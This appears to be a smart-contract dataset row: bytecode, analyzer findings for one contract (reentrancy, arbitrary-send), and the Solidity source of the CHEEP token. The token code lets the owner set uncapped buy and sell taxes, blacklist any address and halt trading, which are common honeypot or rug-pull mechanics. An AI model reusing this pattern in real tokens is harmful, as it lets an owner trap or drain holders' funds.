ffffffffffffffffffff168461250b565b600860039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016139fb9594939291906148e4565b600060405180830381600087803b158015613a1557600080fd5b505af1158015613a29573d6000803e3d6000fd5b505050505050565b613a5e30600860039054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461250b565b600860039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613aaa611bb2565b426040518863ffffffff1660e01b8152600401613acc969594939291906145d0565b6060604051808303818588803b158015613ae557600080fd5b505af1158015613af9573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613b1e91906141ab565b5050505050565b81600b6000828254613b379190614c5c565b925050819055508060176000016000828254613b539190614a0a565b925050819055505050565b8060176002016000828254613b739190614a0a565b92505081905550600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613c235780600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613c1b9190614a0a565b925050819055505b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613c729190614a0a565b925050819055505050565b8060176001016000828254613c929190614a0a565b9250508190555060056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613d86578060026000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613d7e9190614a0a565b925050819055505b8160016000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613df79190614a0a565b925050819055505050565b6040518061012001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b60405180606001604052806000815260200160008152602001600081525090565b600081359050613e7e8161534b565b92915050565b600081519050613e938161534b565b92915050565b600081359050613ea881615362565b92915050565b600081519050613ebd81615362565b92915050565b600060608284031215613ed957613ed8614ec5565b5b613ee36060614990565b90506000613ef384828501613f27565b6000830152506020613f0784828501613f27565b6020830152506040613f1b84828501613f27565b60408301525092915050565b600081359050613f3681615379565b92915050565b600081519050613f4b81615379565b92915050565b600060208284031215613f6757613f66614eca565b5b6000613f7584828501613e6f565b91505092915050565b600060208284031215613f9457613f93614eca565b5b6000613fa284828501613e84565b91505092915050565b60008060408385031215613fc257613fc1614eca565b5b6000613fd085828601613e6f565b9250506020613fe185828601613e6f565b9150509250929050565b60008060006060848603121561400457614003614eca565b5b600061401286828701613e6f565b935050602061402386828701613e6f565b925050604061403486828701613f27565b9150509250925092565b6000806040838503121561405557614054614eca565b5b600061406385828601613e6f565b925050602061407485828601613f27565b9150509250929050565b60006020828403121561409457614093614eca565b5b60006140a284828501613e99565b91505092915050565b6000602082840312156140c1576140c0614eca565b5b60006140cf84828501613eae565b91505092915050565b6000602082840312156140ee576140ed614eca565b5b60006140fc84828501613f27565b91505092915050565b600080600060a0848603121561411e5761411d614eca565b5b600061412c86828701613f27565b935050602061413d86828701613e99565b925050604061414e86828701613ec3565b9150509250925092565b60008060006060848603121561417157614170614eca565b5b600061417f86828701613f27565b935050602061419086828701613f27565b92505060406141a186828701613f27565b9150509250925092565b6000806000606084860312156141c4576141c3614eca565b5b60006141d286828701613f3c565b93505060206141e386828701613f3c565b92505060406141f486828701613f3c565b9150509250925092565b600061420a8383614216565b60208301905092915050565b61421f81614c90565b82525050565b61422e81614c90565b82525050565b600061423f826149c5565b61424981856149e8565b9350614254836149b5565b8060005b8381101561428557815161426c88826141fe565b9750614277836149db565b925050600181019050614258565b5085935050505092915050565b61429b81614ca2565b82525050565b6142aa81614ce5565b82525050565b6142b981614cf7565b82525050565b60006142ca826149d0565b6142d481856149f9565b93506142e4818560208601614d2d565b6142ed81614ecf565b840191505092915050565b60006143056023836149f9565b915061431082614eed565b604082019050919050565b60006143286012836149f9565b915061433382614f3c565b602082019050919050565b600061434b6031836149f9565b915061435682614f65565b604082019050919050565b600061436e602a836149f9565b915061437982614fb4565b604082019050919050565b60006143916026836149f9565b915061439c82615003565b604082019050919050565b60006143b46022836149f9565b91506143bf82615052565b604082019050919050565b60006143d7601b836149f9565b91506143e2826150a1565b602082019050919050565b60006143fa6017836149f9565b9150614405826150ca565b602082019050919050565b600061441d601f836149f9565b9150614428826150f3565b602082019050919050565b60006144406018836149f9565b915061444b8261511c565b602082019050919050565b60006144636028836149f9565b915061446e82615145565b604082019050919050565b60006144866020836149f9565b915061449182615194565b602082019050919050565b60006144a96029836149f9565b91506144b4826151bd565b604082019050919050565b60006144cc6012836149f9565b91506144d78261520c565b602082019050919050565b60006144ef6025836149f9565b91506144fa82615235565b604082019050919050565b60006145126024836149f9565b915061451d82615284565b604082019050919050565b6000614535600d836149f9565b9150614540826152d3565b602082019050919050565b60006145586025836149f9565b9150614563826152fc565b604082019050919050565b61457781614cce565b82525050565b61458681614cd8565b82525050565b60006020820190506145a16000830184614225565b92915050565b60006040820190506145bc6000830185614225565b6145c9602083018461456e565b9392505050565b600060c0820190506145e56000830189614225565b6145f2602083018861456e565b6145ff60408301876142b0565b61460c60608301866142b0565b6146196080830185614225565b61462660a083018461456e565b979650505050505050565b60006020820190506146466000830184614292565b92915050565b600060208201905061466160008301846142a1565b92915050565b6000602082019050818103600083015261468181846142bf565b905092915050565b600060208201905081810360008301526146a2816142f8565b9050919050565b600060208201905081810360008301526146c28161431b565b9050919050565b600060208201905081810360008301526146e28161433e565b9050919050565b6000602082019050818103600083015261470281614361565b9050919050565b6000602082019050818103600083015261472281614384565b9050919050565b60006020820190508181036000830152614742816143a7565b9050919050565b60006020820190508181036000830152614762816143ca565b9050919050565b60006020820190508181036000830152614782816143ed565b9050919050565b600060208201905081810360008301526147a281614410565b9050919050565b600060208201905081810360008301526147c281614433565b9050919050565b600060208201905081810360008301526147e281614456565b9050919050565b6000602082019050818103600083015261480281614479565b9050919050565b600060208201905081810360008301526148228161449c565b9050919050565b60006020820190508181036000830152614842816144bf565b9050919050565b60006020820190508181036000830152614862816144e2565b9050919050565b6000602082019050818103600083015261488281614505565b9050919050565b600060208201905081810360008301526148a281614528565b9050919050565b600060208201905081810360008301526148c28161454b565b9050919050565b60006020820190506148de600083018461456e565b92915050565b600060a0820190506148f9600083018861456e565b61490660208301876142b0565b81810360408301526149188186614234565b90506149276060830185614225565b614934608083018461456e565b9695505050505050565b6000606082019050614953600083018661456e565b614960602083018561456e565b61496d604083018461456e565b949350505050565b600060208201905061498a600083018461457d565b92915050565b600061499a6149ab565b90506149a68282614d60565b919050565b6000604051905090565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614a1582614cce565b9150614a2083614cce565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614a5557614a54614dda565b5b828201905092915050565b6000614a6b82614cce565b9150614a7683614cce565b925082614a8657614a85614e09565b5b828204905092915050565b6000808291508390505b6001851115614adb57808604811115614ab757614ab6614dda565b5b6001851615614ac65780820291505b8081029050614ad485614ee0565b9450614a9b565b94509492505050565b6000614aef82614cce565b9150614afa83614cd8565b9250614b277fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484614b2f565b905092915050565b600082614b3f5760019050614bfb565b81614b4d5760009050614bfb565b8160018114614b635760028114614b6d57614b9c565b6001915050614bfb565b60ff841115614b7f57614b7e614dda565b5b8360020a915084821115614b9657614b95614dda565b5b50614bfb565b5060208310610133831016604e8410600b8410161715614bd15782820a905083811115614bcc57614bcb614dda565b5b614bfb565b614bde8484846001614a91565b92509050818404811115614bf557614bf4614dda565b5b81810290505b9392505050565b6000614c0d82614cce565b9150614c1883614cce565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614c5157614c50614dda565b5b828202905092915050565b6000614c6782614cce565b9150614c7283614cce565b925082821015614c8557614c84614dda565b5b828203905092915050565b6000614c9b82614cae565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000614cf082614d09565b9050919050565b6000614d0282614cce565b9050919050565b6000614d1482614d1b565b9050919050565b6000614d2682614cae565b9050919050565b60005b83811015614d4b578082015181840152602081019050614d30565b83811115614d5a576000848401525b50505050565b614d6982614ecf565b810181811067ffffffffffffffff82111715614d8857614d87614e96565b5b80604052505050565b6000614d9c82614cce565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614dcf57614dce614dda565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206e6f74206163746976650000000000000000000000000000600082015250565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4163636f756e7420697320616c7265616479206578636c756465640000000000600082015250565b7f4163636f756e74206973206e6f74206578636c75646564000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b7f696e73756666696369656e7420424e422062616c616e63650000000000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f57616c6c657420616c7265616479207365740000000000000000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f596f7520617265206120626f7400000000000000000000000000000000000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61535481614c90565b811461535f57600080fd5b50565b61536b81614ca2565b811461537657600080fd5b50565b61538281614cce565b811461538d57600080fd5b5056fea264697066735822122024a5b14723d3c5c681b80df2ca734d64cb7923db8613955580c5b011c4c7ffef64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,853 |
0x9b7ac3ae20c03bc4364076c7892faed85fabe7bf | // SPDX-License-Identifier: Unlicensed
/**
In radio c'è un pulcino, in radio c'è un pulcino...
e il pulcino pio, e il pulcino pio,
e il pulcino pio, e il pulcino pio,
e il pulcino pio, e il pulcino pio...
**/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CHEEP is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Cheep";
string private constant _symbol = "CHEEP";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x0454f2aa2928b4b397c7CC2cEc2AfF359C872db3);
address payable private _marketingAddress = payable(0x0454f2aa2928b4b397c7CC2cEc2AfF359C872db3);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 15000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610551578063dd62ed3e14610571578063ea1644d5146105b7578063f2fde38b146105d757600080fd5b8063a2a957bb146104cc578063a9059cbb146104ec578063bfd792841461050c578063c3c8cd801461053c57600080fd5b80638f70ccf7116100d15780638f70ccf7146104485780638f9a55c01461046857806395d89b411461047e57806398a5c315146104ac57600080fd5b80637d1db4a5146103e75780637f2feddc146103fd5780638da5cb5b1461042a57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037d57806370a0823114610392578063715018a6146103b257806374010ece146103c757600080fd5b8063313ce5671461030157806349bd5a5e1461031d5780636b9990531461033d5780636d8aa8f81461035d57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cb5780632fd689e3146102eb57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461194f565b6105f7565b005b34801561020a57600080fd5b50604080518082019091526005815264043686565760dc1b60208201525b6040516102359190611a14565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611a69565b610696565b6040519015158152602001610235565b34801561027a57600080fd5b5060145461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50670de0b6b3a76400005b604051908152602001610235565b3480156102d757600080fd5b5061025e6102e6366004611a95565b6106ad565b3480156102f757600080fd5b506102bd60185481565b34801561030d57600080fd5b5060405160098152602001610235565b34801561032957600080fd5b5060155461028e906001600160a01b031681565b34801561034957600080fd5b506101fc610358366004611ad6565b610716565b34801561036957600080fd5b506101fc610378366004611b03565b610761565b34801561038957600080fd5b506101fc6107a9565b34801561039e57600080fd5b506102bd6103ad366004611ad6565b6107f4565b3480156103be57600080fd5b506101fc610816565b3480156103d357600080fd5b506101fc6103e2366004611b1e565b61088a565b3480156103f357600080fd5b506102bd60165481565b34801561040957600080fd5b506102bd610418366004611ad6565b60116020526000908152604090205481565b34801561043657600080fd5b506000546001600160a01b031661028e565b34801561045457600080fd5b506101fc610463366004611b03565b6108b9565b34801561047457600080fd5b506102bd60175481565b34801561048a57600080fd5b50604080518082019091526005815264043484545560dc1b6020820152610228565b3480156104b857600080fd5b506101fc6104c7366004611b1e565b610901565b3480156104d857600080fd5b506101fc6104e7366004611b37565b610930565b3480156104f857600080fd5b5061025e610507366004611a69565b61096e565b34801561051857600080fd5b5061025e610527366004611ad6565b60106020526000908152604090205460ff1681565b34801561054857600080fd5b506101fc61097b565b34801561055d57600080fd5b506101fc61056c366004611b69565b6109cf565b34801561057d57600080fd5b506102bd61058c366004611bed565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c357600080fd5b506101fc6105d2366004611b1e565b610a70565b3480156105e357600080fd5b506101fc6105f2366004611ad6565b610a9f565b6000546001600160a01b0316331461062a5760405162461bcd60e51b815260040161062190611c26565b60405180910390fd5b60005b81518110156106925760016010600084848151811061064e5761064e611c5b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068a81611c87565b91505061062d565b5050565b60006106a3338484610b89565b5060015b92915050565b60006106ba848484610cad565b61070c843361070785604051806060016040528060288152602001611d9f602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111e9565b610b89565b5060019392505050565b6000546001600160a01b031633146107405760405162461bcd60e51b815260040161062190611c26565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078b5760405162461bcd60e51b815260040161062190611c26565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107de57506013546001600160a01b0316336001600160a01b0316145b6107e757600080fd5b476107f181611223565b50565b6001600160a01b0381166000908152600260205260408120546106a79061125d565b6000546001600160a01b031633146108405760405162461bcd60e51b815260040161062190611c26565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b45760405162461bcd60e51b815260040161062190611c26565b601655565b6000546001600160a01b031633146108e35760405162461bcd60e51b815260040161062190611c26565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092b5760405162461bcd60e51b815260040161062190611c26565b601855565b6000546001600160a01b0316331461095a5760405162461bcd60e51b815260040161062190611c26565b600893909355600a91909155600955600b55565b60006106a3338484610cad565b6012546001600160a01b0316336001600160a01b031614806109b057506013546001600160a01b0316336001600160a01b0316145b6109b957600080fd5b60006109c4306107f4565b90506107f1816112e1565b6000546001600160a01b031633146109f95760405162461bcd60e51b815260040161062190611c26565b60005b82811015610a6a578160056000868685818110610a1b57610a1b611c5b565b9050602002016020810190610a309190611ad6565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6281611c87565b9150506109fc565b50505050565b6000546001600160a01b03163314610a9a5760405162461bcd60e51b815260040161062190611c26565b601755565b6000546001600160a01b03163314610ac95760405162461bcd60e51b815260040161062190611c26565b6001600160a01b038116610b2e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610621565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f2841949